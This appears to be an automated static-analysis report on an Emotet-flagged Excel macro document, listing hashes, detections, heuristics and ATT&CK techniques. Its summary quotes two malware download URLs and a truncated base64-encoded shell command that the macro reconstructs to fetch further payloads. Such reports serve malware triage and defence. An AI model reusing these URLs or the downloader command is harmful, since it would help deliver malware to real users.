Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 2883f09587343933…

MALICIOUS

Office (OLE) / .XLSX

121.0 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: e9d0241ecc43bd777f0255fc056ac880 SHA-1: ab17b751e597b9b282bad0776c5d25163af47c74 SHA-256: 2883f09587343933d3711eeed04cfa203d48b30d5b0a26dea18e36d50a759d9b
280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is identified as malicious by ClamAV with the signature 'Xls.Downloader.Emotet-ab81c42b2bd4747e-9951196-0'. The Workbook_Open macro is present and uses CreateObject to instantiate Wscript.Shell and RDS.DataSpace. The document body contains obfuscated commands that appear to download and execute VBS and BAT files from the provided URLs, specifically 'http://aliveystem.com/eln-images/pm2rSsnVM/' and 'http://don-lee.com/_notes/U6H1'. The script also reconstructs the command 'hell -e nc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAGEAbABpAHYAZQBzAHkAcwB0AGUAbQBzAC4AYwBvAG0ALwBlAGwAbgAtAGkAbQBhAGcAZQBzAC8AcABtADIAcgBTAHMAbgBWAE0ALwAsAGgAdAB0AHAAOgAvAC8AZABvAG4ALQBsAGUAZQAuAGMAbwBtAC8AXwBuAG8AdABlAHMALwBVADYASAAxA' which likely decodes to a command for downloading further payloads.

Heuristics 7

  • ClamAV: Xls.Downloader.Emotet-ab81c42b2bd4747e-9951196-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-ab81c42b2bd4747e-9951196-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
faf50200d5a9adeeda00cc1da1bbf8f6abf0317a1e97a58db8ae804ba12ba446		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 13985 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

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